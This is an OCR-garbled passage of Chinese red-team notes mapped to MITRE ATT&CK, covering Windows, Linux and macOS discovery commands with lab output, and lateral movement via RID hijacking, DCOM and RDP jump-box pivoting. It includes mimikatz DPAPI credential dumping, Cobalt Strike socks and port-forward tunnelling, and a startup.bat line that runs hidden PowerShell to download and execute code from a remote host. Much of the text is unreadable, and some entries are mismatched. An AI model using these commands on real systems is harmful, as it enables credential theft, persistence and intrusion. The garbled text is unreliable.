The "sha5l2" option enables salted SHA512 passwords. Without this option,
the default is Unix crypt. Prior releases used the option “"md5".

The "obscure” option replaces the old "OBSCURE_CHECKS_ENAB' option in
login.defs.

HEHEBHRTERSR

chage -I

root@debian-s-1lvcpu-1gb-nycl-01:~# chage -1
Usage: chage [options] LOGIN

Options:

-lastday LAST_DAY set date of last password change to LAST_DAY
--expiredate EXPIRE_DATE set account expiration date to EXPIRE_DATE
--help display this help message and exit

-inactive INACTIVE set password inactive ter expiration

INACTIVE

-list show account

mindays MIN_DAYS

-maxdays MAX_DAYS

--root CHROOT_DIR
--warndays WARN_DAYS

Mac:

e pwpolicy getaccountpolicies

BriF:

R CEMERIZMETEES, 75123 DLL MATTFAE Tz HI28 80/ S Attt &
A Windows ZZEBEZE (BRHABRTH C: \ Windows \ System32 \) &, #
BEH



HKEY LOCALMACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notificatio
n Packages FREN KB .

"}l MPDEV 3| crashonauditial KEl_LWURLD UUUUUUUUY (W)
iR || MSDTC 3 disabledomaincreds REG_DWORD Co00000000 (0)
[l MSPaper i#3 everyoneincludesanonymous REG_DWORD 000000000 (0)
b MU 74 forceguest REG_DWORD 00000000 (0)
b} NetDiagFx ] fullprivilegeauditing REG_BINARY 00

b ) NetTrace 3 LimitBlankPasswordUse REG_DWORD 000000001 (1)

I Network % LsaPid REG_DWORD 0000018 (483)

:_ MNetworkProvider 2 MolmHash REG_DWORD 0x00000001 (1)

L Nis k. | Notification Packages gl REG_MULTIL SZ scechi

|u Nodelnterfaces %2 ProductType REG_DWORD OxD0000006 (6)
bl Nsi % restrictanonymous REG_DWORD 000000000 (0}
- PCW 2 restrictanonymoussam REG_DWORD OxP0000001 (1)

i PnP e SecureBoot REG_DWORD Coc00000001 (1)
by Power ab] Security Packages REG_MULTIL_SZ kerberos msvl_0 schannel wdigest tspkg phu..
bl Print
L | PriorityControl
i~ i ProductOptions

SVER
1. EEENCERRE
(IEEMACERNES . TEH. URS)

HET BF8EN] — BIFEHER] — [EFREMNITENN]



TIED#L (5)

saa.a

Microsoft Microsoft NP1 IGAES
Print 1o PDF xPs (HP Laset et
Document Pro M202n)
Writet
SR (1)
IB A
e Hac king
[wiri- 1k
cnls)
s (4) '
i -
\Q .
DESKTOP-UEI  HUAWEI P20 UiDnske USE Recenver
MMV
(N

hir2: [TENEE] - (1R8] SEEBA dos &< devmgmt.msc



L L E ]
TR WA &ENV WD
- o) 7] L X s
E it w A DESKTOP-UENMEY 1]
RETR T
AEi e | @EREE
i Brans SR
HETN®
W M
A gwnes
%
s aapn
U TR

= HP Laawt)et Pro M20Y-M202 PCL 6
‘ s

20 AVRCP /RIS
THF LEERS
adsduaws

TR Eif Bloemoosy R

TITEEIRE
*

S a®
T3 T

2. BEMAEISH. UK
wmic logicaldisk //BEEBMBER (BRI U &)




3. BRHAITE
a. SREHRIE

windows: [ITE#l] — [IFHEHIER] — [EFRENITEIN] - [RINL

&l

mac: [Z LAFEREH] — [RARTFIRE] — [FTEINS3E#EX]

b.shell #{E(FE4IT)
cmd:

powshell:

4, BRET
a.SRHEIRME

windows: [IT&H] — IFEHIER] — [EEFRESHITEIN] - [RINL
]

mac: [ EAERZRH] — [RARFIRE] — FTEINSEEN]

b.shell ##{E (FE4I )

cmd:

powershell:



PIRAEE

Windows:

e net group /domain //FIHiZE A S 4E

8DAY>net group /domain
% @day.org [jiZ

\\OWA2010SP3.0day.org [ 7

%$431000-180EBUFTPH13

*Delegated Setup

xDiscovery Management
*DnsUpdateProxy

xDomain Admins

xDomain Computers

xDomain Controllers

xDomain Guests

xDomain Users

xEnterprise Admins

xEnterprise Read-only Domain Controllers
xExchange All Hosted Organizatiens
*Exchange Servers

xExchange Trusted Subsystem
xExchange Windows Permissions
xExchangeLegacylnterop

%Group Policy Creator Owners

%Help Desk

*Hygiene Management

#0rganization Management

e net localgroup "administrators" //E&AEIE G EBG L HF

:\Users\jack.0DAY>net localgroup “administrators”
2 administrators

 mxfit BA

ODAY\Domain Admins
Administrator

* net localgroup users



C:\Users\jack.0DAY>net localgroup users

B lEFH P ITE B EER JHOE R, ERATL

ODAY\Domain Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\INTERACTIVE

<.@8DAY>net group in admins™ /domain
o, 0day.org [ g

Domain Admins

EERZEER

antivirus
sqladmin websur

e PoshC2 & H#) Get-LocAdm M EANFRZAE
Mac:

e dscacheutil —q group I

e dscl. —list /Groups Zsith4H

Linux:

groups A1zl

root@vultr:~/sqlmap# groups

root

|dapsearch 13



root@vultr:~/sqlmap# [eEl+E=Elg«)

ldap_sasl_interactive bind s: Can't contact LDAP server (-1)
HEER

Windows: tasklist /v

C:\Users\jack.BDAY>tasklist /u

B 1842 R

System Idle Process 24 K Unknown
System 368 K Unknown
SMSs . exe 1,220 K Unknown

cSrss.exe 326 5,400 K Unknouwn

—

wmic process get caption,handle,commandline,executablepath //5l| L #iZ{5

100N

C:\Users\jack .@DAY>umic process get caption, handle,commandline, executablepath

Caption CommandLine ExecutablePath
Handle

System Idle Process
0

"

Mac/Linux:

O8]



root@vu ltr:~/s glmap# 55
PID TTY TIME

5249 pts/0 00:00:00
5475 pts/0 00:00:02
17286 pts/0 00:00:00

BEHHMNE
reg /?

:\Users\jack.B0DAY>reg /?

REG Operation [Parameter List]

Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLORD | RESTORE |
COMPARE | EXPORT | IMPORT | FLAGS ]

EMREBILN: B, H. [ERE
reg query //7E windows MR P EEEE

METEAFRIN HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings BURERUIEECEE R

HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData it =I5
DUEREY R Se S i B AR B 28 2 BY

rem reg query an < M Registry B#3REVE

HKEY LOCALMACHINE\Software\Microsoft\Windows\CurrentVersion\Uninst
all QBRA ZENE

EERREE

Windows:



e netview //HENEITENIIR
e net view /domain //BEERE

e C:\Windows\System32\Drivers\etc\hosts

AN AN
<

e ping mp
Mac:

H AN
4

ping mp
/etc/hosts

linux:

AN
2

ping fp
etc/hosts
root@vultr:~/sqlmap# cat /etc/hosts
127.8.:8.1 localhost

127.8.1.1 guest

# The following lines are desirable for IPv6 capable hosts
4 | localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes
ff02::2 ipb6-allrouters

.0.1 vultr.guest
vultr.guest

TERHEE
netsh &<

40: netsh advfirewall firewall // B & MIEIRE



C:\Users\jack.0DAY>netsh adufirewall firewall
T AL
mhtT EPE‘?*i

Jﬂ:wp XABRT.

kR

reg query
dir
tasklist /v

BE—LLHFE C:\Program\Files\

%\gﬁ l:lau\ %

Windows:

ver //SRIERRFRIARA

C:\Users\jack.0DAY>ver

Microsoft Windows [fiZd 6.1.7601]

systeminfo



C:\Users\ jack .0DAY>systeminfo

PC-JACK-BDRAY

Microsoft Windows 7 £

6.1.7601 Service Pack 1 Build 7601
Microsoft Corporation

AT W 7

Multiprocessor Free

jack

PO371-868-0000007-85918

2019/5/20, 15:33:05

2019/8/9, 12:48:38

UMuware, Inc.

UMware Uirtual Platform

64-based PC

ET 2 44 P

[01]: Intel64 Family 6 Model 158 Stepping 9 Genuinelntel “3008 Mhz
[02]: Intel6d4 Family 6 Model 158 Stepping 9 Genuinelntel 3000 Mhz
Phoenix Technologies LTD 6.08, 2018/4/13
C:\Windows
C:\Windows\system32
\Device\HarddiskUolume1
zh-cn; & H)

gpresult

C:\Users\ jack .0DAY>gpresult

GPRESULT [/S system [/U username [/P [password]]]] [/SCOPE scope]
[/USER targetusername] [/R | /U | /2] [(/X | /H) <{Filename)> [/F]]

system

[domain® Juser

[passuord]

/SCOPE scope

JUSER [domain\ Juser




C:\Users\jack.0DAY>gpresult /v

Microsoft (R) Windows (R) ¥ERGEFRELETE v2.0
MeAPT®E (C) Microsoft Corp. 1981-2001

t&E T 2019/8/9, 14:18:35

ODAY\jack [] RSOP #(#E, fI T PC-JACK-@DAY [ : EFRER

DC=0day,DC=0rg
faEfial: F 2019/8/9. 12:53:23
F OWA2010SP3.0day.org
{5 : 500 kbps

oDayY

Windouws 2000

hostname //BE& XA

C:\Users\jack.0ODAY>hostname
PC-jack-0day

date /t //EE ARG A

C:\Users\jack.0DAY>date /t

2019/08/09 & #




net config workstation

IC:\Users\ jack.0DAY>net config workstation

1t - \\PC-JACK-8DAY

i PC-jack-8day.0day.org
jack

T
NetBT_Tcpip_{0T39E4DA-21BC-4D58-A2DA-DTCAT29B22B7) (000C29ABSSDY)

Windows 7 Professional

eDAayY
Oday.org
BODAY

0
16
250

set //Rm. 1REHMER cmd.exe MIET =

C:\Users\jack.BDAY>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\ jack.8DAY\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramhl6432=C:\Program Files\Common Files
COMPUTERNAME =PC-JACK-0DAY
Com$pec:=C:\Windows\systemn32\cmd exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
[IHOMEPATH=\Users\ jack .BDAY
LOCALAPPDATA=C:\Users\ jack . 0DAY\AppData\lLocal
LOGONSERUER=\\0WA28185P3
NUMBER_OF _PROCESSORS:=4
jl0S=Windows_NT
Path=C:\Program Files (x86)\Common Files\Oracle\Java\ javapath:C:\Python27\;:C:\Python27\Scripts:C:\Windows\system32;C:\Wi
ndous; C:\Windows\System32\Wbem;C: \Windows\System32\WindousPowerShell\ul .0\
PATHEXT=.COM; .EXE; .BAT; .CHD; .UBS: .UBE; .JS;.JSE; WSF; WSH; MSC
PROCESSOR_ARCHITECTURE=AMDBY
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 9, Genuinelntel
PROCESSOR_LEUEL=6
PROCESSOR_REVISION=8e09
ProgramData= ProgramData
\Program Files
ProgramFiles({x86)=C:\Program Files (x86)
Programg432:C:\Program Files
PROMPT= $P$G
PSModulePath=C:\Windows\system32\WindowsPowershell\vl.8\Modules\
Public

HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum //3REX# 2 FRi1R & A
ASEEERZIRERER



C:\Users\jack.0DAY>reg query “HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum”

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Seruvices\Disk\Enum

0 REG_S2 SCSI\Diské&Uen_UMware_&Prod_UMware_Uirtual_S$\5&22be343f&0&000000
Count REG_DWORD Bx1
NextInstance REG_DWORD ox1

Linux:
Is —la /Applications //I&LERMNN FHTER B%=Z Application

cat /proc/cpuinfo | grep —c "cpu family" 2>&1 G SIWERZLER

systemsetup //BEERGRNEMDE, FTEEENR

system_profiler //BEC&& 7, FTLHEAR

RFEMSGREER

Windows:

ipconfig /all



C:\Users\jack.0DAY>ipconfig /all
Windows IP FCE

: PC-jack-Bday

. 7B
: Bday.org

: Intel(R) PRO/18000 MT Network Connection
: 00-8C-29-AB-85-D4

=

: fe80::559f:578a: T2ch: FOcb%11( B %)
. 192.168.3.62( £1%)
. 255.255.255.0
. 192.168.3.1
. 234884137
. 08-01-00-01-24-74-0E-4E-00-0C-29-C5-3E-C3
: 192.168.3.142
8.8.8.8
TCPIP L[ NetBIOS . . . . . . . : CEE

arp —-a

C:\Users\jack.@DAY>arp -a

%M: 192.168.3.62 --- Ox
Internet Hfitl Y18 th b

192.168.3.142 00-0¢c-29-8F-41-3¢C
192.168.3.255 FF-FF-Ff-Ff-FF-FF
224.0.0.22 01-00-5¢-00-00-16
224.9.0.252 01-00-5¢-00-00-fc

route print //¥TENE&H



C:\Users\jack.0DAY>route print

0.0.0.
127.0.0.0
127.0.0.1

127.255.255.255
192.168.3.0
192.168.3.62
192.168.3.255
224.0.0.0
224.0.0.0
255.255.255.255
255.255.255.255

0.0

Intel(R) PR0O/1000 MT Network Connection
Software Loopback Interface 1

12...00 00 00 00 00 00 00 0 Microsoft ISATAP Adapter
13...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface

255.255.255.255
255.255.255.255
255.255.255.0
255.255.255.255
255.255.255.255
240.0.0.0
240.0.0.0
255.255.255.255
255.255.255.255

O
192.168.3.1
7E g+

netsh interface show // &M BZIZ[1iRE

B

1
192.168.3.62
127.0.0.1
127.0.0.1
127.0.0.1
192.168.3.62
192.168.3.62
192.168.3.62
127.0.0.1
192.168.3.62
127.0.0.1
192.168.3.62

266




C:\Users\jack.0DAY>netsh interface show

M b T XA

show interface - TR,

C:\Users\jack.0DAY>netsh interface show interface
023

EHEE

nbtstat —n

C:\Users\jack.0DAY>nbtstat -n

A b iE % -
A IP Lkhk: [192.168.3.62] JG5HE ID:

NetBIOS ZAcithZ#i %

PC-JACK-0DAY
oDAY
PC-JACK-BDAY

nbtstat —s

C:\Users\jack.0DAY>nbtstat -s

A HE

A IP HHyE: [192.168.3.62]1 J5HE ID: []
Tk




Linux:

ifconfig

RAMBHEEER

Windows:

net use

C:\Users\jack.0DAY>net use
10T B 28 i .

FIR 2 ZHI.

net session //EHE1E

netstat —ano



C:\Users\jack.8DAY>netstat -ano

PID
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

F-E-R-R-N-R-R-F-Y
coocooODOOO
cooOoOOOOO
DODODDODDDODODODODOD

9

- NOOOOOO®OO

EE-T-E-R-T-R-T-Tal

0.
0.
0.
2]
3]
0.
0.
<]
1
I:
[:
[:
[:
[:
| &
[:
[:
2]
0.
0.
<]
0.

Mac/Linux:

netstat —ano

Isof //EBRIRHEFITM, FTAXERIMEE, #EFTANIRO(TCP, UDP)
who -a

w

root@vultr:~# w
07:42:10 up 44 days, 16:34, 0O users, 1load average: 0.11, 0.07, 0.07

USER TIY FROM LOGIN@ IDLE JCPU PCPU WHAT

RO EHRINPER

Windows:

whoami



C:\Users\jack.0ODAY>whoami

Oday\ jack

query user

C:\Users\jack.0DAY>query user

P4 =1hE

>jack console B % 2019/8/9 12:53

Mac:
user/w/who
Linux:

w/who

RGNS ER

tasklist /svc



C:\Users\jack.0DAY>tasklist /suc

Wwininit.exe
winlogon.exe

Netlogon, SamSs
=

suchost . exe DcoiLaunch‘ PlugPlay, Power

umacthlp.exe UMuware Physical Disk Helper Service

.exe RpcEptMapper. RpcSs

.exe AudioSrv, Dhcp, eventlog, lmhosts, wscsuc

.exe AudioEndpointBuilder, CscService, Netman,
PcaSuc, TrklWlks, UxSms

.exe AeLookupSuc, gpsuc, iphlpsuc, LanmanSeruver,
ProfSuc, Schedule, SENS, ShellHWDetection,
Themes, Winmgmt. wuauserv
EventSystem, netprofm, nsi, W32Time,
WdiServiceHost
CryptSuc, Dnscache, Lanmanborkstation,
NlaSuc
Spooler
BFE, DPS, MpsSuc
FDResPub, FontCache

net start

:\Users\jack.0DAY>net start
ALV T Windows

Application Experience

Base Filtering Engine

COM+ Event System

COM+ System Application
Cryptographic Seruices

DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client

Diagnostic Policy Service
Diagnostic Seruice Host
Distributed Link Tracking Client

Distributed Transaction Coordinator

DNS Client

Function Discouvery Resource Publication
Group Policy Client

IP Helper

Machine Debug Manager

Netlogon

Network Connections

Network List Service

Network Location Awareness
Network Store Interface Service
0ffline Files

Plug and Play

Power

Print Spooler




sc query

[SERUICE_NAME: Winmgmt

DISPLAY_NAME: Windows Management Instrumentation

TYPE 2
STATE

WIN32_EXIT_CODE
SERVICE_EXIT_CODE
CHECKPOINT
WAIT_HINT

SERUICE_NAME: wscsuc
DISPLAY_NAME: Security Cente
TYPE :
STATE

WIN32_EXIT_CODE
SERUVICE_EXIT_CODE

CHECKPOINT
WAIT_HINT

RGNEER

net time

20 WIN32_SHARE_PROCESS

: 4 RUNNING

(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)

: 0 (0x0)
: 0 (0x0)
: Ox0
: Ox0

20 WIN32_SHARE_PROCESS

: 4 RUNNING

(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOUN)

: 0 (0x0)
. 0 (0x0)
: Ox0
: Ox0

C:\Users\jack.GDnv>net_time
\\OWA2010SP3.0day.org HjX4EVH &2 2019/8/9 15:48:35

net time \\computername

C:\Users\jack.0DAY>net time \\PC-jack-0day
\\PC-jack-0day HjZHHf|d]Z 2019/8/9 15:58:56




I\ K583 (TA0008)

MO RN B FEEXS F RS TH R AIIZHI ML LRI RFNIRA, FAEAIUER—E
BREATEASLIITIE, BMOBRARRUAFNFMARFKREE SR MAEE
ST R, flaizizihe) TE.

1.RID #1%F (hash 1£3% ) (T1075)

Frik

B =ES: C\Windows\System32\cmd.exe

WT AUTHO
T AUTHO


https://demonsec666.oss-cn-qingdao.aliyuncs.com/B2E52F64C5827A158B8D526DF54B02EE.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/B2E52F64C5827A158B8D526DF54B02EE.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/AD3DA60672E75713AC47736A985CDA63.jpg

EN Windows Powershell

rz'\demon? whoami fall

146714091000

: fid, BFFER
A

SEZEHR: https://github.com/r4wd3r/RID-Hijacking

https://r4wsecurity.blogspot.com/2017/12/rid-hijacking—maintaining—

access—on.html

ARSI : https://www.ggsec.cn/rid-hijack.html


https://demonsec666.oss-cn-qingdao.aliyuncs.com/AD3DA60672E75713AC47736A985CDA63.jpg
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https://demonsec666.oss-cn-qingdao.aliyuncs.com/4AAA8308CBEDC9103EC7C13A5D2F759A.jpg

2. Windows 73T 4% 52855 DCOM (T1175)

EHF) =ER{O) =

=

HE 5 WRFSICE BN BF BEEE BS

3% 38%

= e CPU ]
RIFS (4)

EX Windows PowerShell (2) 0% 32.4 ME

m Windows HiFEESE 0%  50.9 ME
» ]—| HE=E > 0%  48.8 ME

e EEEEs 04% 175 ME
[GEFHE (41)

] Antimalware Service Execu.. 0%  79.6 ME

[z Application Frame Host 0% 17.0 ME

az] COM Surrogate 0% 1.4 ME

(=] COM Surrogate

e

MMC20.Application (£#iXfiWindows 7, Windows 10, Server 2012R2)
ApplD: 7e0423cd-1119-0928-900c-e6d4a52a0715

ShellWindows (£2Mi{fWindows 7, Windows 10, Server 2012R2)
ApplD: 9BA(05972-F6A8-11CF-A442-00A0C90A8F39

ShellBrowserWindow ({2 MidfWindows 10, Server 2012R2)
ApplD: COBAFD90-F2A1-11D1-8455-00A0C91F3880

SEZRHF . https://zhuanlan.kanxue.com/article—4866.htm
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MSRAZE © https://www.ggsec.cn/DCOM.html

3. 7/ RDP BRERM 455 =

BEPEEITUFNFIR, THECHLER. BEASERNENER, BXEENN
BHXAR, FRAIRNLE,

FIEFNIRERME—THE, BAREH4, RERRMANE, SREENHE2
IS

MLzEG): HARAIR? AEMEANBIR"RIRIK", UTRKNIERNT, AU
EEREN:NE S o

AR, RIRIX, RIKERS. XEMEET S8 F5EET. sREkGR
X—ir=,

REBNMERL2HFENLE, BNHZERBIRNIESSE, TEE—F
¥, SUANEERBIRIERIERRTE, BEMW, MEEFEEEAT .,

IEBARH#—FIHERXMEIHN, AXTAREMN, BEWNAFNRESE, &
BH—1T=M, BAXKSELER: FH RDP BEEAM SR E

FriBERmME, BEEEE, MMUATEEN. EAMNFREIEERZE, #MEEDE,
o [FHENA

ML&HREM: jump box secret network T Eil RDP EEtM K&

515 10.0.0.0/16 rasta-lan.local ##Z/ 172.16.0.0/24 secret-lan.local

WhE BRI EBMEI TFL, MIFEARELEE jump box, BRILEZIMER
PR 45

o FEERRER

EiGELE R /48 RDP #XBRE Jump Box Users



powerpick Get—NetLocalGroup —ComputerName RDPO1 —GroupName "Remote Des
ktop Users"

38— Jump Box Users BIRL R EZF
powerpick Get—-NetGroupMember —GroupName "Jump Box Users"
rastamouse Jump Box Users MemberName rastamouse_adm

R LERNIRE&GR, MAINESRERXVIER, RwEl—TESHFIRNE T EE
wid B EAR N TR E 558 —1 rastamouse K, HFZIKF Fiaitms, &
Jump Box Users 285 RDP fX[R, HEIZHATETAMI, 777
rastamouseadm, A4 ENTHEEM rastamouse_adm BN 31T RDP # AT
—i,

o ZIFEIEF] DPAPI
BRI
shell vaultemd /listcreds:"Windows Credentials" /all

FEARTFHETE users B3R
C:\Users\username\AppData\Local\Microsoft\Credentials* E1HE1]

powerpick Get-Childltem C:\Users\rasta_mouse\AppData\Local\Microsoft\Creden

tials\ —Force
BEE—FER

mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credenti
als\2647629F5AA74CD934ECD2F88D64ECDO

2.

pbData guidMasterKey INZ &R fE2 B BRI BEUE
LSASS SeDebugPrivilege 172115 SeDeDebug X R

mimikatz !sekurlsa::dpapi



Z 37l guidMasterKey

Cobalt Strike 1517 mimikatz BUFERBFMRIMAME, FoMEREREZR

mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credenti
als\2647629F5AA74CD934ECD2F88D64ECDO /masterkey:95664450d90eb2ce9a8
b1933f823b90510b61374180ed50630432739401f50e728fe7871169¢c87a0bba5e0c47
0d91d21016311727bce2eff9c97445d444b6a17b

e RDPO1

REHCHEIRAIRSS 23 7£ RDP Bt4%RI, cil@a<SEHrEE, 1RE SOCKS
R, mEECHRSE, MSTERCEEMEN, XEMBERENERIM
MERHAE, BAMBILIRBICERLIBARAE, RERHICESEE T A
R, METHNHRERETHRRIE,

beacon> socks 1337

Z23% socat & proxychains & proxychains.conf 127.0.0.1:1337

1517 socat 5 proxychains B985 <
proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389
4307 3389 iiiE, EE[@ZF! 10.0.0.100:3389

SSH # A\ B CHIEIRAARSS 28, R 3389 MUifi&#F% T 10.0.0.100:3389, I
HEEEEMHE EE’JH , 181 socks (I, ¥§ 3389 MEETEMEIERL
fRih, fRERECRIARSS S, E’JLE#EE?T—'F?U BAreY TAFuaAZizin 0 EHE .,

FRECHBRAL C2 18<%, (18 rastamouseadm MK #HAZEIT jump
box MKZIMRE T,

o i (A

WE— 1AM TE, SEFNEAERR, X135 SMB Beacon, *xF SMB
Beacon AJ[FIEX KRS EE R SMB Beacon X2— 1 IEE B 2895 F



B TP ER PowerShell SMB Beacon B3 %,

BEEEELR Teamserver (W&£ix) L£/smb,

Reverse Port Foward fEEA 1 X BIAYKTIE L Bl3#E—1 - >rportfwd 8080 178.62.56.134 8
0

C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Pr
ograms\Startup\startup.bat {EF LA TRZEI#E: powershell.exe —nop —w hidden —c "i
ex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb"))"

735 RDP 18,

BIREMEE, MEIECHRSEELE/smb, BERM@IGOEEL.,
SEENAFPERE, BNSERNMNEEHEI—DER.

o X secret M4

FiE—, 1XE RDP BhE%,

ZEZ5M: B RDP HEANEIEE :
https://rastamouse.me/2017/08/jumping—network-segregation-with—rdp/
SMB Beacon:
https://github.com/aleenzz/CobaltStrikewiki/blob/master/%E7%AC%ACY%E
4%B8%89%E8%8A%82%5BSMB%20Beacon%5D.md

J1..C&C Command and Control
REEERXBESZHNARBEIZHIEN].
IBIEFIZHIA—LRARER, WFAIUERAXERAEZSEENER S
IEHNRGBE. YFREXEERFEEN. FTHNRE, DBEREL
oW, BATEE Z>MA N RIIEENEGH, HIRIESEENNEEN
FIBREIBEN H T ARREENRE



11,

1.1.1

H e O

Wi AT DO — N RIS O TBIE, ISR BT R &G 2
2, H5EEHRNEENRES, NEREFHANRE, SIaMERES
FTFFROIE O, Lo

TCP:80 (HTTP)
TCP:443 (HTTPS)
TCP:25 (SMTP)
TCP/UDP:53 (DNS)

ENAMMERS imOEXREKEMY, BAIUERTEARRNMN, XNTE
—> enclave NERAERERZ(BIANAIEN T RS HM T R ZBAYE
%), & WimO8REIT:

TCP/UDP:135 (RPC)
TCP/UDP:22 (SSH)

TCP/UDP:3389 (RDP)
. RIS

TR

EAMERE R EERRERENM BN SN R AT AT
HEMELANE ., ERBEERTMXPNE—IERE, FEHAIEET
FENFHTRERFEMNY, FEPTBEERERNRERG KRR
REMAR. BENEREE, YFIRZENTR C2 88, HEUE
AR E WA H T B & MAYHS U Z DN,

| &5 E | EBERERFISMBEA AR, RS EMBRAIERTENN
FIEREKRN A HIGOKEERE.

1.1.2. 25501508



BRR TR

ADVSTORESHE ADVSTORESHELL BZT{AEdEin 443 Fi@IE HTTP 5
LL C2 fR52318(5

APT18 APT18 %[O 80 i#1T C2 @5,

APT19 APT19 Jy C2 {4 TCP #x [ 80,

APT29 APT29 5 C2 f#R TimOS 443,

APT3 APT3 (R E im0 (%0 HTTPS/443)4T# S FIZH! ,

APT32 APT32 {£Riw [ 80 #1T C2 &fE,

APT33 APT33 {EHim 443 #1Ta < INH,

APT37 APT37 EL&Rix [ 8080 AT C2,

AuditCred AuditCred }$ix 05 443 AF C2 &5

BADCALL BADCALL 7y C2 {$R3ix[ 8000 ] 443,

BadPatch BadPatch {£Mix O 26 ##1T C2 @5,

BBSRAT BBSRAT HTTP TCP i1 80 #1 HTTPS TCP i 443 #1T:&
(E

Bisonal Bisonal {§/ 443 #17 C2 @15.

Briba Briba @13 i [ 443 E1ZEI7MB C2 Ehitiikht.

Calisto Calisto I ElfEAIRO 80 @1d TCP 5 C2 fRFZ2Z_EX AR,

Carbanak Calisto I ElfEAIRO 80 @1d TCP 5 C2 fRFZ2Z_EX AR,

Carbon Carbanak 9 C2 frZ5 28 Rim = 443 1 80,

1.1.3. Al

RNAE LREBHER D INE BRI, FPRIENETERE 2T MR
Sk IRNEUR), EREEREMNEBEIMRLIHMEHIZR
. PWHIEERNS, DNASSRRERRORTRENINITN E’\JL

e

Bo



1.1.4 . Detection

DR LEBIERNMEBEIRE (Fla, FFimRENEIEIRE ST MRS
RZWHIEIRE) . AAEETEENEZEBEEHMRRIHNRNENIER
AJERRY. DATEIE ERE ML BT EEE R m O R ATA
KBS,

$%3%: Commonly Used Port

1.2, BABHEEAITER
R REMTTIERIIME £, ERABMERIRERSMN—TRFEHEIS—
TERE, MFANERBENENZBHRTHLMES, XMTRFEHFE
BRI, BARANTEEKRNIALSR, EREET BRI EHIEY
HEBE), <R MBTFERNR PSRN F I IAEIZBEN

internet FEIZR S,

2.1, RREIENE

Zhz iR

HESMIFRINEES; WRRBNE, ZFEBEG) toruns,

2

BRIERAEE MR BIREARFERBoIER, MEALRREER LA
T RRHEIEAT.

1.2.2. 545l

AR R

APT28 APT28 fER—M T H, BEZRIM USB MiRSBITTEN LiHIRE
B, HEREA USB RPRBE R EMEIBMAgIT &L,

CHOPSTIC APT28 HIEB 9 #R{EB1E{F R CHOPSTICK #HISECEFIZIE TR

K EIfERIMER £, FREE u 8 ENXHRERIBIENGSRE.


https://attack.mitre.org/techniques/T1043/
GrayAsh
高亮


USBSteale USBStealer % _ "R EEZNMITHEBAIE - TREENTR
r NREERNER £, SREISHEARE T REBENHITH L.

1.2.3. 1

mIZRIRSEA EROX IR, AN AR B A R HRATAYHRE
1.2.4. Detection

AR RERR EROXHIAE],  MNZER AR R ITR# R,

p%$E: Communication Through Removable Media

1.3, EEAH
EEREATSISRASZENNERE, ARINEEENHRNT. BFZ
TEAIMBIRERROEERRZIFREETE D, B HTRAN,
ZXProxy ¥ ZXPortMap,
RIERE MR BABEMEZENEEXRR, BERNR(peer-
to—peer). W1&(mesh)sLEENINARLAHMAINGE Z BRI AIEER,
MERIBEALTENMEALRN, WAl TRBEEXRZNAR ZE, WFA]
DUEAXLRBFX RARERmMIZFIEE, BN HIENMNEEE
HE, MEREXRMEMEYE, NEFAZEEZEMBIAEEEREIE
b G T &

1.3.1. Mitigations

Mitigation Description

MENE (ERNBERRREETSRERENMZN DN E RS
B ARTEBNELANER, ERBERTMXANE—IERT, #F
BAMEFHEREES TRERISE C2 thiX, FEAJgEE
TR RIIFRAZBARE, KEEFREREENERHERRET


https://attack.mitre.org/techniques/T1092/

B C2 ZRMEMN, ERHKE IR TR,

1.3.2. Examples

Name Description

APT2 APT28 {FHEMSEEFNRIEREEGIRE, HINEFERSHRNIEE

8

SUESHEFHHERSFFEAILNOZEENRIAR ., ZATMERT -
TEEARE, BMEREERERBASEEBRIF C2, APT28 RER—
BN ERRAPLFIEM CHOPSTICK 5HARS 28 Z BIHNE(E.

1.3.2. Detection

HAREAEENEREIMREINMEBNITEZTHRN., NEES
EAFPESHRET RS B IR R KRS SR 2 PT 8ERY.
DMAEREBIERAOMBZEIE (B2, FPiR&IENETERE 2T MRS
B[BAEFNIZHBEANMEELBENE iR BAENERE) . FIREE
FEEMBBEEIMARNIHMENTRZZ RN, DTHREERETU
M AN B8 IEFE (AR RVIm O RO FRER XA T R RVBIE.

p&3%: Connection Proxy

1.4, HEX AR Pl

WHE P LMER BE X e L EHIMBCEITRIS, A EINERIAR/ELN
RAEMXPERGL/EIE. EMEEEBAREEIMYEE TCP /

IP /A —THIEMZHERRHENEANINZ EARBEX Y (BfERIE
EiE7F) .

1.4.1, Mitigations

Mitigation Description

Filter Network  TENEZREUETXEEHIEFEMY,
Traffic


https://attack.mitre.org/techniques/T1090/

Network ERAMK R ZARIRBIFEHR AR E RN BN EKNFIRA

Intrusion ARG PTATEENEZRANEN, TRBERTMXANMKE

Prevention —EnF, HEFTUETFHRENFRTEFERMNFEMY, H
BRgeAESMEERURIMRAZEARE, KEGEFERE
ENEINHERNEZ TR C2 F2WEMNIN, IBEREE NI
T 2R,

Network IEHECER AEMAIE, RSB B s O FIE HAM %

Segmentation WXRFMWEHRE. EERFNEE TN NBEIRUZOH

1T8(E.

